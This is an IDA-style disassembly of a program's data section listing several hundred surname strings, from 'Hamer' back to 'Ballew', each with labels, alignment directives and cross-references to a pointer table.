aHamer		db 'Hamer',0            ; DATA XREF: ___:0042E068o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042E064o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042E060o
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042E05Co
		align 10h
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042E058o
aHaley		db 'Haley',0            ; DATA XREF: ___:0042E054o
		align 10h
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042E050o
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042E04Co
aHaar		db 'Haar',0             ; DATA XREF: ___:0042E048o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:0042E044o
		align 10h
aGuo		db 'Guo',0              ; DATA XREF: ___:0042E040o
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042E03Co
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042E038o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042E034o
		align 10h
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042E030o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042E02Co
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042E028o
		align 10h
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042E024o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042E020o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042E01Co
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042E018o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042E014o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: ___:0042E010o
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042E00Co
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042E008o
		align 10h
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042E004o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042E000o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042DFFCo
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042DFF8o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042DFF4o
aGist		db 'Gist',0             ; DATA XREF: ___:0042DFF0o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DFECo
		align 4
aGill		db 'Gill',0             ; DATA XREF: ___:0042DFE8o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:0042DFE4o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DFE0o
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DFDCo
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DFD8o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DFD4o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DFD0o
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DFCCo
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DFC8o
		align 10h
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DFC4o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DFC0o
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DFBCo
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DFB8o
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DFB4o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DFB0o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DFACo
		align 10h
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DFA8o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DFA4o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DFA0o
		align 10h
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DF9Co
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DF98o
		align 10h
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DF94o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DF90o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DF8Co
		align 10h
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DF88o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DF84o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DF80o
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:0042DF7Co
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DF78o
		align 10h
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DF74o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DF70o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DF6Co
		align 10h
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DF68o
		align 10h
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DF64o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DF60o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DF5Co
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DF58o
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DF54o
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:0042DF50o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DF4Co
		align 10h
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DF48o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DF44o
		align 10h
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DF40o
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DF3Co
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DF38o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DF34o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DF30o
aFink		db 'Fink',0             ; DATA XREF: ___:0042DF2Co
		align 4
aField		db 'Field',0            ; DATA XREF: ___:0042DF28o
		align 4
aFido		db 'Fido',0             ; DATA XREF: ___:0042DF24o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DF20o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DF1Co
		align 10h
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DF18o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DF14o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DF10o
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DF0Co
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DF08o
		align 10h
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DF04o
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0042DF00o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DEFCo
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DEF8o
		align 4
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DEF4o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DEF0o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DEECo
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DEE8o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DEE4o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DEE0o
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DEDCo
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DED8o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DED4o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DED0o
		align 10h
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DECCo
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DEC8o
		align 4
aErez		db 'Erez',0             ; DATA XREF: ___:0042DEC4o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DEC0o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DEBCo
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DEB8o
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DEB4o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DEB0o
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DEACo
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DEA8o
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DEA4o
		align 10h
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DEA0o
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DE9Co
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DE98o
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DE94o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DE90o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DE8Co
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DE88o
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DE84o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DE80o
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DE7Co
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DE78o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DE74o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DE70o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DE6Co
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DE68o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DE64o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DE60o
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DE5Co
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DE58o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DE54o
		align 4
aDore		db 'Dore',0             ; DATA XREF: ___:0042DE50o
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DE4Co
		align 4
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DE48o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DE44o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DE40o
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DE3Co
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DE38o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DE34o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DE30o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DE2Co
		align 10h
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DE28o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DE24o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DE20o
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DE1Co
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DE18o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DE14o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DE10o
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DE0Co
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DE08o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DE04o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DE00o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DDFCo
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DDF8o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DDF4o
		align 10h
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DDF0o
		align 10h
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DDECo
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DDE8o
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042DDE4o
		align 10h
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DDE0o
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DDDCo
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DDD8o
		align 10h
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DDD4o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DDD0o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DDCCo
aDavid		db 'David',0            ; DATA XREF: ___:0042DDC8o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DDC4o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DDC0o
		align 4
aDas		db 'Das',0              ; DATA XREF: ___:0042DDBCo
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DDB8o
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DDB4o
		align 4
aDante		db 'Dante',0            ; DATA XREF: ___:0042DDB0o
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DDACo
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DDA8o
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DDA4o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042DDA0o
		align 10h
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042DD9Co
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042DD98o
		align 10h
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042DD94o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042DD90o
		align 10h
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042DD8Co
aCui		db 'Cui',0              ; DATA XREF: ___:0042DD88o
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042DD84o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042DD80o
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042DD7Co
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042DD78o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042DD74o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042DD70o
aCounter	db 'Counter',0          ; DATA XREF: ___:0042DD6Co
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042DD68o
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042DD64o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042DD60o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: ___:0042DD5Co
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042DD58o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042DD54o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042DD50o
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:0042DD48o
					; ___:0042DD4Co
aCollis		db 'Collis',0           ; DATA XREF: ___:0042DD44o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0042DD40o
aColella	db 'Colella',0          ; DATA XREF: ___:0042DD3Co
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042DD38o
aCoito		db 'Coito',0            ; DATA XREF: ___:0042DD34o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042DD30o
aClow		db 'Clow',0             ; DATA XREF: ___:0042DD2Co
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042DD28o
aClement	db 'Clement',0          ; DATA XREF: ___:0042DD24o
aClark		db 'Clark',0            ; DATA XREF: ___:0042DD20o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042DD1Co
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042DD18o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042DD14o
		align 10h
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042DD10o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042DD0Co
		align 4
aChurch		db 'Church',0           ; DATA XREF: ___:0042DD08o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042DD04o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042DD00o
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042DCFCo
aChristie	db 'Christie',0         ; DATA XREF: ___:0042DCF8o
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042DCF4o
		align 10h
aChristian	db 'Christian',0        ; DATA XREF: ___:0042DCF0o
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042DCECo
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042DCE8o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042DCE4o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042DCE0o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: ___:0042DCDCo
		align 10h
aChien		db 'Chien',0            ; DATA XREF: ___:0042DCD8o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042DCD4o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042DCD0o
		align 10h
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042DCCCo
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042DCC8o
		align 10h
aCharles	db 'Charles',0          ; DATA XREF: ___:0042DCC4o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042DCC0o
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042DCBCo
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042DCB8o
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042DCB4o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042DCB0o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042DCACo
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042DCA8o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:0042DCA4o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042DCA0o
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042DC9Co
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042DC98o
		align 10h
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042DC94o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042DC90o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042DC8Co
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042DC88o
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042DC84o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042DC80o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042DC7Co
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042DC78o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042DC74o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042DC70o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042DC6Co
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042DC68o
		align 10h
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042DC64o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042DC60o
		align 10h
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042DC5Co
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042DC58o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042DC54o
		align 10h
aCage		db 'Cage',0             ; DATA XREF: ___:0042DC50o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042DC4Co
		align 10h
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042DC48o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042DC44o
		align 10h
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042DC40o
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042DC3Co
		align 4
aBurke		db 'Burke',0            ; DATA XREF: ___:0042DC38o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042DC34o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: ___:0042DC30o
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042DC2Co
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042DC28o
aBudding	db 'Budding',0          ; DATA XREF: ___:0042DC24o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042DC20o
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042DC1Co
aBrook		db 'Brook',0            ; DATA XREF: ___:0042DC18o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:0042DC14o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: ___:0042DC10o
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042DC0Co
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042DC08o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042DC04o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042DBFCo
					; ___:0042DC00o
		align 10h
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042DBF8o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042DBF4o
		align 10h
aBreed		db 'Breed',0            ; DATA XREF: ___:0042DBF0o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042DBECo
		align 10h
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042DBE8o
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042DBE4o
		align 10h
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042DBE0o
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042DBDCo
		align 4
aBoym		db 'Boym',0             ; DATA XREF: ___:0042DBD8o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042DBD4o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042DBD0o
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042DBCCo
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042DBC8o
		align 10h
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042DBC4o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042DBC0o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042DBBCo
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042DBB8o
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042DBB4o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042DBB0o
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042DBACo
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:0042DBA8o
		align 4
aBorack		db 'Borack',0           ; DATA XREF: ___:0042DBA4o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042DBA0o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042DB9Co
		align 10h
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042DB98o
		align 4
aBook		db 'Book',0             ; DATA XREF: ___:0042DB94o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042DB90o
		align 10h
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042DB8Co
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042DB88o
		align 4
aBoner		db 'Boner',0            ; DATA XREF: ___:0042DB84o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042DB80o
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042DB7Co
		align 10h
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042DB78o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042DB74o
		align 10h
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042DB70o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042DB6Co
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042DB68o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042DB64o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042DB60o
		align 10h
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042DB5Co
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042DB58o
		align 10h
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042DB54o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042DB50o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042DB4Co
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042DB48o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042DB44o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042DB40o
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042DB3Co
		align 4
aBir		db 'Bir',0              ; DATA XREF: ___:0042DB38o
aBinion		db 'Binion',0           ; DATA XREF: ___:0042DB34o
		align 10h
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042DB30o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042DB2Co
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042DB28o
aBetti		db 'Betti',0            ; DATA XREF: ___:0042DB24o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042DB20o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042DB1Co
		align 10h
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042DB18o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042DB14o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042DB10o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042DB0Co
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042DB08o
		align 10h
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042DB04o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042DB00o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042DAFCo
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042DAF8o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042DAF4o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042DAF0o
		align 10h
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042DAECo
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042DAE8o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042DAE4o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042DAE0o
aBeder		db 'Beder',0            ; DATA XREF: ___:0042DADCo
		align 10h
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042DAD8o
aBean		db 'Bean',0             ; DATA XREF: ___:0042DAD4o
		align 10h
aBeal		db 'Beal',0             ; DATA XREF: ___:0042DAD0o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042DACCo
		align 10h
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042DAC8o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042DAC4o
		align 10h
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042DAC0o
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042DABCo
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042DAB8o
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042DAB4o
		align 10h
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042DAB0o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042DAACo
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042DAA8o
aBarry		db 'Barry',0            ; DATA XREF: ___:0042DAA4o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042DAA0o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042DA9Co
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042DA98o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042DA94o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042DA90o
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042DA8Co
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042DA88o
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042DA84o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042DA80o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042DA7Co
		align 10h
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042DA78o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042DA74o
		align 10h
